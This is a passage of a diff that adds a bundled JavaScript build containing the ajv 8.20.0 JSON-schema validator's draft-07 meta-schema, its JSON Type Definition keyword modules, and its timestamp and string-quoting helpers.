pattern: { + type: "string", + format: "regex" + }, + additionalItems: { $ref: "#" }, + items: { + anyOf: [{ $ref: "#" }, { $ref: "#/definitions/schemaArray" }], + default: true + }, + maxItems: { $ref: "#/definitions/nonNegativeInteger" }, + minItems: { $ref: "#/definitions/nonNegativeIntegerDefault0" }, + uniqueItems: { + type: "boolean", + default: false + }, + contains: { $ref: "#" }, + maxProperties: { $ref: "#/definitions/nonNegativeInteger" }, + minProperties: { $ref: "#/definitions/nonNegativeIntegerDefault0" }, + required: { $ref: "#/definitions/stringArray" }, + additionalProperties: { $ref: "#" }, + definitions: { + type: "object", + additionalProperties: { $ref: "#" }, + default: {} + }, + properties: { + type: "object", + additionalProperties: { $ref: "#" }, + default: {} + }, + patternProperties: { + type: "object", + additionalProperties: { $ref: "#" }, + propertyNames: { format: "regex" }, + default: {} + }, + dependencies: { + type: "object", + additionalProperties: { + anyOf: [{ $ref: "#" }, { $ref: "#/definitions/stringArray" }] + } + }, + propertyNames: { $ref: "#" }, + const: true, + enum: { + type: "array", + items: true, + minItems: 1, + uniqueItems: true + }, + type: { + anyOf: [ + { $ref: "#/definitions/simpleTypes" }, + { + type: "array", + items: { $ref: "#/definitions/simpleTypes" }, + minItems: 1, + uniqueItems: true + } + ] + }, + format: { type: "string" }, + contentMediaType: { type: "string" }, + contentEncoding: { type: "string" }, + if: { $ref: "#" }, + then: { $ref: "#" }, + else: { $ref: "#" }, + allOf: { $ref: "#/definitions/schemaArray" }, + anyOf: { $ref: "#/definitions/schemaArray" }, + oneOf: { $ref: "#/definitions/schemaArray" }, + not: { $ref: "#" } + }, + default: true + }; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/ajv.js +var require_ajv = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/ajv.js"(exports, module) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.MissingRefError = exports.ValidationError = exports.CodeGen = exports.Name = exports.nil = exports.stringify = exports.str = exports._ = exports.KeywordCxt = exports.Ajv = void 0; + var core_1 = require_core(); + var draft7_1 = require_draft7(); + var discriminator_1 = require_discriminator(); + var draft7MetaSchema = require_json_schema_draft_07(); + var META_SUPPORT_DATA = ["/properties"]; + var META_SCHEMA_ID = "http://json-schema.org/draft-07/schema"; + var Ajv = class extends core_1.default { + _addVocabularies() { + super._addVocabularies(); + draft7_1.default.forEach((v) => this.addVocabulary(v)); + if (this.opts.discriminator) + this.addKeyword(discriminator_1.default); + } + _addDefaultMetaSchema() { + super._addDefaultMetaSchema(); + if (!this.opts.meta) + return; + const metaSchema = this.opts.$data ? this.$dataMetaSchema(draft7MetaSchema, META_SUPPORT_DATA) : draft7MetaSchema; + this.addMetaSchema(metaSchema, META_SCHEMA_ID, false); + this.refs["http://json-schema.org/schema"] = META_SCHEMA_ID; + } + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(META_SCHEMA_ID) ? META_SCHEMA_ID : void 0); + } + }; + exports.Ajv = Ajv; + module.exports = exports = Ajv; + module.exports.Ajv = Ajv; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.default = Ajv; + var validate_1 = require_validate(); + Object.defineProperty(exports, "KeywordCxt", { enumerable: true, get: function() { + return validate_1.KeywordCxt; + } }); + var codegen_1 = require_codegen(); + Object.defineProperty(exports, "_", { enumerable: true, get: function() { + return codegen_1._; + } }); + Object.defineProperty(exports, "str", { enumerable: true, get: function() { + return codegen_1.str; + } }); + Object.defineProperty(exports, "stringify", { enumerable: true, get: function() { + return codegen_1.stringify; + } }); + Object.defineProperty(exports, "nil", { enumerable: true, get: function() { + return codegen_1.nil; + } }); + Object.defineProperty(exports, "Name", { enumerable: true, get: function() { + return codegen_1.Name; + } }); + Object.defineProperty(exports, "CodeGen", { enumerable: true, get: function() { + return codegen_1.CodeGen; + } }); + var validation_error_1 = require_validation_error(); + Object.defineProperty(exports, "ValidationError", { enumerable: true, get: function() { + return validation_error_1.default; + } }); + var ref_error_1 = require_ref_error(); + Object.defineProperty(exports, "MissingRefError", { enumerable: true, get: function() { + return ref_error_1.default; + } }); + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/metadata.js +var require_metadata2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/metadata.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.checkMetadata = void 0; + var util_1 = require_util(); + var def = { + keyword: "metadata", + schemaType: "object", + code(cxt) { + checkMetadata(cxt); + const { gen, schema, it } = cxt; + if ((0, util_1.alwaysValidSchema)(it, schema)) + return; + const valid = gen.name("valid"); + cxt.subschema({ keyword: "metadata", jtdMetadata: true }, valid); + cxt.ok(valid); + } + }; + function checkMetadata({ it, keyword }, metadata) { + if (it.jtdMetadata !== metadata) { + throw new Error(`JTD: "${keyword}" cannot be used in this schema location`); + } + } + exports.checkMetadata = checkMetadata; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/ref.js +var require_ref2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/ref.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.hasRef = void 0; + var compile_1 = require_compile(); + var codegen_1 = require_codegen(); + var ref_error_1 = require_ref_error(); + var names_1 = require_names(); + var ref_1 = require_ref(); + var metadata_1 = require_metadata2(); + var def = { + keyword: "ref", + schemaType: "string", + code(cxt) { + (0, metadata_1.checkMetadata)(cxt); + const { gen, data, schema: ref, parentSchema, it } = cxt; + const { schemaEnv: { root } } = it; + const valid = gen.name("valid"); + if (parentSchema.nullable) { + gen.var(valid, (0, codegen_1._)`${data} === null`); + gen.if((0, codegen_1.not)(valid), validateJtdRef); + } else { + gen.var(valid, false); + validateJtdRef(); + } + cxt.ok(valid); + function validateJtdRef() { + var _a3; + const refSchema = (_a3 = root.schema.definitions) === null || _a3 === void 0 ? void 0 : _a3[ref]; + if (!refSchema) { + throw new ref_error_1.default(it.opts.uriResolver, "", ref, `No definition ${ref}`); + } + if (hasRef(refSchema) || !it.opts.inlineRefs) + callValidate(refSchema); + else + inlineRefSchema(refSchema); + } + function callValidate(schema) { + const sch = compile_1.compileSchema.call(it.self, new compile_1.SchemaEnv({ schema, root, schemaPath: `/definitions/${ref}` })); + const v = (0, ref_1.getValidate)(cxt, sch); + const errsCount = gen.const("_errs", names_1.default.errors); + (0, ref_1.callRef)(cxt, v, sch, sch.$async); + gen.assign(valid, (0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); + } + function inlineRefSchema(schema) { + const schName = gen.scopeValue("schema", it.opts.code.source === true ? { ref: schema, code: (0, codegen_1.stringify)(schema) } : { ref: schema }); + cxt.subschema({ + schema, + dataTypes: [], + schemaPath: codegen_1.nil, + topSchemaRef: schName, + errSchemaPath: `/definitions/${ref}` + }, valid); + } + } + }; + function hasRef(schema) { + for (const key in schema) { + let sch; + if (key === "ref" || typeof (sch = schema[key]) == "object" && hasRef(sch)) + return true; + } + return false; + } + exports.hasRef = hasRef; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/timestamp.js +var require_timestamp = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/timestamp.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var DT_SEPARATOR = /t|\s/i; + var DATE = /^(\d\d\d\d)-(\d\d)-(\d\d)$/; + var TIME = /^(\d\d):(\d\d):(\d\d)(?:\.\d+)?(?:z|([+-]\d\d)(?::?(\d\d))?)$/i; + var DAYS = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; + function validTimestamp(str, allowDate) { + const dt = str.split(DT_SEPARATOR); + return dt.length === 2 && validDate(dt[0]) && validTime(dt[1]) || allowDate && dt.length === 1 && validDate(dt[0]); + } + exports.default = validTimestamp; + function validDate(str) { + const matches = DATE.exec(str); + if (!matches) + return false; + const y = +matches[1]; + const m = +matches[2]; + const d = +matches[3]; + return m >= 1 && m <= 12 && d >= 1 && (d <= DAYS[m] || // leap year: https://tools.ietf.org/html/rfc3339#appendix-C + m === 2 && d === 29 && (y % 100 === 0 ? y % 400 === 0 : y % 4 === 0)); + } + function validTime(str) { + const matches = TIME.exec(str); + if (!matches) + return false; + const hr = +matches[1]; + const min = +matches[2]; + const sec = +matches[3]; + const tzH = +(matches[4] || 0); + const tzM = +(matches[5] || 0); + return hr <= 23 && min <= 59 && sec <= 59 || // leap second + hr - tzH === 23 && min - tzM === 59 && sec === 60; + } + validTimestamp.code = 'require("ajv/dist/runtime/timestamp").default'; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/error.js +var require_error2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/error.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.typeErrorParams = exports.typeErrorMessage = exports.typeError = void 0; + var codegen_1 = require_codegen(); + function typeError(t) { + return { + message: (cxt) => typeErrorMessage(cxt, t), + params: (cxt) => typeErrorParams(cxt, t) + }; + } + exports.typeError = typeError; + function typeErrorMessage({ parentSchema }, t) { + return (parentSchema === null || parentSchema === void 0 ? void 0 : parentSchema.nullable) ? `must be ${t} or null` : `must be ${t}`; + } + exports.typeErrorMessage = typeErrorMessage; + function typeErrorParams({ parentSchema }, t) { + return (0, codegen_1._)`{type: ${t}, nullable: ${!!(parentSchema === null || parentSchema === void 0 ? void 0 : parentSchema.nullable)}}`; + } + exports.typeErrorParams = typeErrorParams; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/type.js +var require_type = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/type.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.intRange = void 0; + var codegen_1 = require_codegen(); + var timestamp_1 = require_timestamp(); + var util_1 = require_util(); + var metadata_1 = require_metadata2(); + var error_1 = require_error2(); + exports.intRange = { + int8: [-128, 127, 3], + uint8: [0, 255, 3], + int16: [-32768, 32767, 5], + uint16: [0, 65535, 5], + int32: [-2147483648, 2147483647, 10], + uint32: [0, 4294967295, 10] + }; + var error51 = { + message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), + params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) + }; + function timestampCode(cxt) { + const { gen, data, it } = cxt; + const { timestamp: timestamp2, allowDate } = it.opts; + if (timestamp2 === "date") + return (0, codegen_1._)`${data} instanceof Date `; + const vts = (0, util_1.useFunc)(gen, timestamp_1.default); + const allowDateArg = allowDate ? (0, codegen_1._)`, true` : codegen_1.nil; + const validString = (0, codegen_1._)`typeof ${data} == "string" && ${vts}(${data}${allowDateArg})`; + return timestamp2 === "string" ? validString : (0, codegen_1.or)((0, codegen_1._)`${data} instanceof Date`, validString); + } + var def = { + keyword: "type", + schemaType: "string", + error: error51, + code(cxt) { + (0, metadata_1.checkMetadata)(cxt); + const { data, schema, parentSchema, it } = cxt; + let cond; + switch (schema) { + case "boolean": + case "string": + cond = (0, codegen_1._)`typeof ${data} == ${schema}`; + break; + case "timestamp": { + cond = timestampCode(cxt); + break; + } + case "float32": + case "float64": + cond = (0, codegen_1._)`typeof ${data} == "number"`; + break; + default: { + const sch = schema; + cond = (0, codegen_1._)`typeof ${data} == "number" && isFinite(${data}) && !(${data} % 1)`; + if (!it.opts.int32range && (sch === "int32" || sch === "uint32")) { + if (sch === "uint32") + cond = (0, codegen_1._)`${cond} && ${data} >= 0`; + } else { + const [min, max] = exports.intRange[sch]; + cond = (0, codegen_1._)`${cond} && ${data} >= ${min} && ${data} <= ${max}`; + } + } + } + cxt.pass(parentSchema.nullable ? (0, codegen_1.or)((0, codegen_1._)`${data} === null`, cond) : cond); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/nullable.js +var require_nullable = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/nullable.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.checkNullableObject = exports.checkNullable = void 0; + var codegen_1 = require_codegen(); + function checkNullable({ gen, data, parentSchema }, cond = codegen_1.nil) { + const valid = gen.name("valid"); + if (parentSchema.nullable) { + gen.let(valid, (0, codegen_1._)`${data} === null`); + cond = (0, codegen_1.not)(valid); + } else { + gen.let(valid, false); + } + return [valid, cond]; + } + exports.checkNullable = checkNullable; + function checkNullableObject(cxt, cond) { + const [valid, cond_] = checkNullable(cxt, cond); + return [valid, (0, codegen_1._)`${cond_} && typeof ${cxt.data} == "object" && !Array.isArray(${cxt.data})`]; + } + exports.checkNullableObject = checkNullableObject; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/enum.js +var require_enum2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/enum.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var metadata_1 = require_metadata2(); + var nullable_1 = require_nullable(); + var error51 = { + message: "must be equal to one of the allowed values", + params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` + }; + var def = { + keyword: "enum", + schemaType: "array", + error: error51, + code(cxt) { + (0, metadata_1.checkMetadata)(cxt); + const { gen, data, schema, schemaValue, parentSchema, it } = cxt; + if (schema.length === 0) + throw new Error("enum must have non-empty array"); + if (schema.length !== new Set(schema).size) + throw new Error("enum items must be unique"); + let valid; + const isString = (0, codegen_1._)`typeof ${data} == "string"`; + if (schema.length >= it.opts.loopEnum) { + let cond; + [valid, cond] = (0, nullable_1.checkNullable)(cxt, isString); + gen.if(cond, loopEnum); + } else { + if (!Array.isArray(schema)) + throw new Error("ajv implementation error"); + valid = (0, codegen_1.and)(isString, (0, codegen_1.or)(...schema.map((value) => (0, codegen_1._)`${data} === ${value}`))); + if (parentSchema.nullable) + valid = (0, codegen_1.or)((0, codegen_1._)`${data} === null`, valid); + } + cxt.pass(valid); + function loopEnum() { + gen.forOf("v", schemaValue, (v) => gen.if((0, codegen_1._)`${valid} = ${data} === ${v}`, () => gen.break())); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/elements.js +var require_elements = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/elements.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var util_1 = require_util(); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var metadata_1 = require_metadata2(); + var nullable_1 = require_nullable(); + var error_1 = require_error2(); + var def = { + keyword: "elements", + schemaType: "object", + error: (0, error_1.typeError)("array"), + code(cxt) { + (0, metadata_1.checkMetadata)(cxt); + const { gen, data, schema, it } = cxt; + if ((0, util_1.alwaysValidSchema)(it, schema)) + return; + const [valid] = (0, nullable_1.checkNullable)(cxt); + gen.if((0, codegen_1.not)(valid), () => gen.if((0, codegen_1._)`Array.isArray(${data})`, () => gen.assign(valid, (0, code_1.validateArray)(cxt)), () => cxt.error())); + cxt.ok(valid); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/properties.js +var require_properties2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/properties.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.validateProperties = exports.error = void 0; + var code_1 = require_code2(); + var util_1 = require_util(); + var codegen_1 = require_codegen(); + var metadata_1 = require_metadata2(); + var nullable_1 = require_nullable(); + var error_1 = require_error2(); + var PropError; + (function(PropError2) { + PropError2["Additional"] = "additional"; + PropError2["Missing"] = "missing"; + })(PropError || (PropError = {})); + exports.error = { + message: (cxt) => { + const { params } = cxt; + return params.propError ? params.propError === PropError.Additional ? "must NOT have additional properties" : `must have property '${params.missingProperty}'` : (0, error_1.typeErrorMessage)(cxt, "object"); + }, + params: (cxt) => { + const { params } = cxt; + return params.propError ? params.propError === PropError.Additional ? (0, codegen_1._)`{error: ${params.propError}, additionalProperty: ${params.additionalProperty}}` : (0, codegen_1._)`{error: ${params.propError}, missingProperty: ${params.missingProperty}}` : (0, error_1.typeErrorParams)(cxt, "object"); + } + }; + var def = { + keyword: "properties", + schemaType: "object", + error: exports.error, + code: validateProperties + }; + function validateProperties(cxt) { + (0, metadata_1.checkMetadata)(cxt); + const { gen, data, parentSchema, it } = cxt; + const { additionalProperties, nullable: nullable2 } = parentSchema; + if (it.jtdDiscriminator && nullable2) + throw new Error("JTD: nullable inside discriminator mapping"); + if (commonProperties()) { + throw new Error("JTD: properties and optionalProperties have common members"); + } + const [allProps, properties] = schemaProperties("properties"); + const [allOptProps, optProperties] = schemaProperties("optionalProperties"); + if (properties.length === 0 && optProperties.length === 0 && additionalProperties) { + return; + } + const [valid, cond] = it.jtdDiscriminator === void 0 ? (0, nullable_1.checkNullableObject)(cxt, data) : [gen.let("valid", false), true]; + gen.if(cond, () => gen.assign(valid, true).block(() => { + validateProps(properties, "properties", true); + validateProps(optProperties, "optionalProperties"); + if (!additionalProperties) + validateAdditional(); + })); + cxt.pass(valid); + function commonProperties() { + const props = parentSchema.properties; + const optProps = parentSchema.optionalProperties; + if (!(props && optProps)) + return false; + for (const p in props) { + if (Object.prototype.hasOwnProperty.call(optProps, p)) + return true; + } + return false; + } + function schemaProperties(keyword) { + const schema = parentSchema[keyword]; + const allPs = schema ? (0, code_1.allSchemaProperties)(schema) : []; + if (it.jtdDiscriminator && allPs.some((p) => p === it.jtdDiscriminator)) { + throw new Error(`JTD: discriminator tag used in ${keyword}`); + } + const ps = allPs.filter((p) => !(0, util_1.alwaysValidSchema)(it, schema[p])); + return [allPs, ps]; + } + function validateProps(props, keyword, required2) { + const _valid = gen.var("valid"); + for (const prop of props) { + gen.if((0, code_1.propertyInData)(gen, data, prop, it.opts.ownProperties), () => applyPropertySchema(prop, keyword, _valid), () => missingProperty(prop)); + cxt.ok(_valid); + } + function missingProperty(prop) { + if (required2) { + gen.assign(_valid, false); + cxt.error(false, { propError: PropError.Missing, missingProperty: prop }, { schemaPath: prop }); + } else { + gen.assign(_valid, true); + } + } + } + function applyPropertySchema(prop, keyword, _valid) { + cxt.subschema({ + keyword, + schemaProp: prop, + dataProp: prop + }, _valid); + } + function validateAdditional() { + gen.forIn("key", data, (key) => { + const addProp = isAdditional(key, allProps, "properties", it.jtdDiscriminator); + const addOptProp = isAdditional(key, allOptProps, "optionalProperties"); + const extra = addProp === true ? addOptProp : addOptProp === true ? addProp : (0, codegen_1.and)(addProp, addOptProp); + gen.if(extra, () => { + if (it.opts.removeAdditional) { + gen.code((0, codegen_1._)`delete ${data}[${key}]`); + } else { + cxt.error(false, { propError: PropError.Additional, additionalProperty: key }, { instancePath: key, parentSchema: true }); + if (!it.opts.allErrors) + gen.break(); + } + }); + }); + } + function isAdditional(key, props, keyword, jtdDiscriminator) { + let additional; + if (props.length > 8) { + const propsSchema = (0, util_1.schemaRefOrVal)(it, parentSchema[keyword], keyword); + additional = (0, codegen_1.not)((0, code_1.isOwnProperty)(gen, propsSchema, key)); + if (jtdDiscriminator !== void 0) { + additional = (0, codegen_1.and)(additional, (0, codegen_1._)`${key} !== ${jtdDiscriminator}`); + } + } else if (props.length || jtdDiscriminator !== void 0) { + const ps = jtdDiscriminator === void 0 ? props : [jtdDiscriminator].concat(props); + additional = (0, codegen_1.and)(...ps.map((p) => (0, codegen_1._)`${key} !== ${p}`)); + } else { + additional = true; + } + return additional; + } + } + exports.validateProperties = validateProperties; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/optionalProperties.js +var require_optionalProperties = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/optionalProperties.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var properties_1 = require_properties2(); + var def = { + keyword: "optionalProperties", + schemaType: "object", + error: properties_1.error, + code(cxt) { + if (cxt.parentSchema.properties) + return; + (0, properties_1.validateProperties)(cxt); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/discriminator.js +var require_discriminator2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/discriminator.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var metadata_1 = require_metadata2(); + var nullable_1 = require_nullable(); + var error_1 = require_error2(); + var types_1 = require_types(); + var error51 = { + message: (cxt) => { + const { schema, params } = cxt; + return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); + }, + params: (cxt) => { + const { schema, params } = cxt; + return params.discrError ? (0, codegen_1._)`{error: ${params.discrError}, tag: ${schema}, tagValue: ${params.tag}}` : (0, error_1.typeErrorParams)(cxt, "object"); + } + }; + var def = { + keyword: "discriminator", + schemaType: "string", + implements: ["mapping"], + error: error51, + code(cxt) { + (0, metadata_1.checkMetadata)(cxt); + const { gen, data, schema, parentSchema } = cxt; + const [valid, cond] = (0, nullable_1.checkNullableObject)(cxt, data); + gen.if(cond); + validateDiscriminator(); + gen.elseIf((0, codegen_1.not)(valid)); + cxt.error(); + gen.endIf(); + cxt.ok(valid); + function validateDiscriminator() { + const tag2 = gen.const("tag", (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(schema)}`); + gen.if((0, codegen_1._)`${tag2} === undefined`); + cxt.error(false, { discrError: types_1.DiscrError.Tag, tag: tag2 }); + gen.elseIf((0, codegen_1._)`typeof ${tag2} == "string"`); + validateMapping(tag2); + gen.else(); + cxt.error(false, { discrError: types_1.DiscrError.Tag, tag: tag2 }, { instancePath: schema }); + gen.endIf(); + } + function validateMapping(tag2) { + gen.if(false); + for (const tagValue in parentSchema.mapping) { + gen.elseIf((0, codegen_1._)`${tag2} === ${tagValue}`); + gen.assign(valid, applyTagSchema(tagValue)); + } + gen.else(); + cxt.error(false, { discrError: types_1.DiscrError.Mapping, tag: tag2 }, { instancePath: schema, schemaPath: "mapping", parentSchema: true }); + gen.endIf(); + } + function applyTagSchema(schemaProp) { + const _valid = gen.name("valid"); + cxt.subschema({ + keyword: "mapping", + schemaProp, + jtdDiscriminator: schema + }, _valid); + return _valid; + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/values.js +var require_values = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/values.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var util_1 = require_util(); + var codegen_1 = require_codegen(); + var metadata_1 = require_metadata2(); + var nullable_1 = require_nullable(); + var error_1 = require_error2(); + var def = { + keyword: "values", + schemaType: "object", + error: (0, error_1.typeError)("object"), + code(cxt) { + (0, metadata_1.checkMetadata)(cxt); + const { gen, data, schema, it } = cxt; + const [valid, cond] = (0, nullable_1.checkNullableObject)(cxt, data); + if ((0, util_1.alwaysValidSchema)(it, schema)) { + gen.if((0, codegen_1.not)((0, codegen_1.or)(cond, valid)), () => cxt.error()); + } else { + gen.if(cond); + gen.assign(valid, validateMap()); + gen.elseIf((0, codegen_1.not)(valid)); + cxt.error(); + gen.endIf(); + } + cxt.ok(valid); + function validateMap() { + const _valid = gen.name("valid"); + if (it.allErrors) { + const validMap = gen.let("valid", true); + validateValues(() => gen.assign(validMap, false)); + return validMap; + } + gen.var(_valid, true); + validateValues(() => gen.break()); + return _valid; + function validateValues(notValid) { + gen.forIn("key", data, (key) => { + cxt.subschema({ + keyword: "values", + dataProp: key, + dataPropType: util_1.Type.Str + }, _valid); + gen.if((0, codegen_1.not)(_valid), notValid); + }); + } + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/union.js +var require_union = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/union.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var code_1 = require_code2(); + var def = { + keyword: "union", + schemaType: "array", + trackErrors: true, + code: code_1.validateUnion, + error: { message: "must match a schema in union" } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/index.js +var require_jtd = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/jtd/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var ref_1 = require_ref2(); + var type_1 = require_type(); + var enum_1 = require_enum2(); + var elements_1 = require_elements(); + var properties_1 = require_properties2(); + var optionalProperties_1 = require_optionalProperties(); + var discriminator_1 = require_discriminator2(); + var values_1 = require_values(); + var union_1 = require_union(); + var metadata_1 = require_metadata2(); + var jtdVocabulary = [ + "definitions", + ref_1.default, + type_1.default, + enum_1.default, + elements_1.default, + properties_1.default, + optionalProperties_1.default, + discriminator_1.default, + values_1.default, + union_1.default, + metadata_1.default, + { keyword: "additionalProperties", schemaType: "boolean" }, + { keyword: "nullable", schemaType: "boolean" } + ]; + exports.default = jtdVocabulary; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/refs/jtd-schema.js +var require_jtd_schema = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/refs/jtd-schema.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var shared = (root) => { + const sch = { + nullable: { type: "boolean" }, + metadata: { + optionalProperties: { + union: { elements: { ref: "schema" } } + }, + additionalProperties: true + } + }; + if (root) + sch.definitions = { values: { ref: "schema" } }; + return sch; + }; + var emptyForm = (root) => ({ + optionalProperties: shared(root) + }); + var refForm = (root) => ({ + properties: { + ref: { type: "string" } + }, + optionalProperties: shared(root) + }); + var typeForm = (root) => ({ + properties: { + type: { + enum: [ + "boolean", + "timestamp", + "string", + "float32", + "float64", + "int8", + "uint8", + "int16", + "uint16", + "int32", + "uint32" + ] + } + }, + optionalProperties: shared(root) + }); + var enumForm = (root) => ({ + properties: { + enum: { elements: { type: "string" } } + }, + optionalProperties: shared(root) + }); + var elementsForm = (root) => ({ + properties: { + elements: { ref: "schema" } + }, + optionalProperties: shared(root) + }); + var propertiesForm = (root) => ({ + properties: { + properties: { values: { ref: "schema" } } + }, + optionalProperties: { + optionalProperties: { values: { ref: "schema" } }, + additionalProperties: { type: "boolean" }, + ...shared(root) + } + }); + var optionalPropertiesForm = (root) => ({ + properties: { + optionalProperties: { values: { ref: "schema" } } + }, + optionalProperties: { + additionalProperties: { type: "boolean" }, + ...shared(root) + } + }); + var discriminatorForm = (root) => ({ + properties: { + discriminator: { type: "string" }, + mapping: { + values: { + metadata: { + union: [propertiesForm(false), optionalPropertiesForm(false)] + } + } + } + }, + optionalProperties: shared(root) + }); + var valuesForm = (root) => ({ + properties: { + values: { ref: "schema" } + }, + optionalProperties: shared(root) + }); + var schema = (root) => ({ + metadata: { + union: [ + emptyForm, + refForm, + typeForm, + enumForm, + elementsForm, + propertiesForm, + optionalPropertiesForm, + discriminatorForm, + valuesForm + ].map((s) => s(root)) + } + }); + var jtdMetaSchema = { + definitions: { + schema: schema(false) + }, + ...schema(true) + }; + exports.default = jtdMetaSchema; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/jtd/types.js +var require_types2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/jtd/types.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.jtdForms = void 0; + exports.jtdForms = [ + "elements", + "values", + "discriminator", + "properties", + "optionalProperties", + "enum", + "type", + "ref" + ]; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/quote.js +var require_quote = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/quote.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var rxEscapable = ( + // eslint-disable-next-line no-control-regex, no-misleading-character-class + /[\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g + ); + var escaped = { + "\b": "\\b", + " ": "\\t", + "\n": "\\n", + "\f": "\\f", + "\r": "\\r", + '"': '\\"', + "\\": "\\\\" + }; + function quote(s) { + rxEscapable.lastIndex = 0; + return '"' + (rxEscapable.test(s) ? s.replace(rxEscapable, (a) => { + const c = escaped[a]; + return typeof c === "string" ? c : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4); + }) : s) + '"'; + } + exports.default = quote; + quote.code = 'require("ajv/dist/runtime/quote").default'; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/jtd/serialize.js +var require_serialize = __commonJS({ + 